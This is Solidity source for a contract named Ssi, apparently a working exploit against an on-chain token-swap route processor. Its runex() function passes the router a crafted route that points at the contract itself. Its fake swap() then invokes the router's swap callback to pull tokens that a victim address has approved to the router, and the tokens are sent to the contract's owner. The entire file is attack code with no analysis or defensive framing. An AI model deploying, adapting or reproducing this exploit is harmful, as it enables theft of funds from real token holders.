creation_sourcecode: pragma solidity ^0.8.17;
  
  
  
  library TransferHelper {
      function safeApprove(address token, address to, uint value) internal {
          // bytes4(keccak256(bytes('approve(address,uint256)')));
          (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
          require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
      }
  
      function safeTransfer(address token, address to, uint value) internal {
          // bytes4(keccak256(bytes('transfer(address,uint256)')));
          (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
          require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
      }
  
      function safeTransferFrom(address token, address from, address to, uint value) internal {
          // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
          (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
          require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
      }
  
      function safeTransferETH(address to, uint value) internal {
          (bool success,) = to.call{value:value}(new bytes(0));
          require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  interface RouteProcessor2 {
      function processRoute(
          address tokenIn,
          uint256 amountIn,
          address tokenOut,
          uint256 amountOutMin,
          address to,
          bytes memory route
      ) external payable  returns (uint256);
      function uniswapV3SwapCallback(
          int256 amount0Delta,
          int256 amount1Delta,
          bytes calldata data
      ) external;
  }
  
  contract Ssi {
      address owner;
      address addrRP2 = 0x044b75f554b886A065b9567891e45c79542d7357;
  
      address addrETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
      address addrCHAINLINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
  
      address mTarget = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1;
      address mToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
  
      constructor() {
          owner = msg.sender;
      }
  
      function runex(address target, address token) public {
          require(msg.sender == owner, "dsp");
  
          mTarget = target;
          mToken = token;
  
          bytes memory routes = bytes.concat(
              hex"01",
              abi.encodePacked(addrCHAINLINK),
              hex"01000001",
              abi.encodePacked(address(this)),
              hex"000000000000000000000000000000000000000000"
          );
  
          RouteProcessor2(addrRP2).processRoute(
              addrETH,
              0,
              addrETH,
              0,
              0x0000000000000000000000000000000000000000,
              routes
          );
  
          TransferHelper.safeTransfer(mToken, owner, IERC20(mToken).balanceOf(address(this)));
      }
  
      function swap(address recipient, bool zeroForOne, int256 amountSpecific, uint160 sqrtPriceLimitX, bytes calldata data) external returns (int256 amount0, int256 amount1) {
          uint256 balanceT = IERC20(mToken).balanceOf(mTarget);
          uint256 allowanceT = IERC20(mToken).allowance(mTarget, addrRP2);
          uint256 availableAmount = (balanceT <= allowanceT ? balanceT : allowanceT);
          RouteProcessor2(addrRP2).uniswapV3SwapCallback(
              int256(availableAmount),
              0,
              abi.encode(mToken, mTarget)
          );
      }
  
      receive() external payable {
      }
  }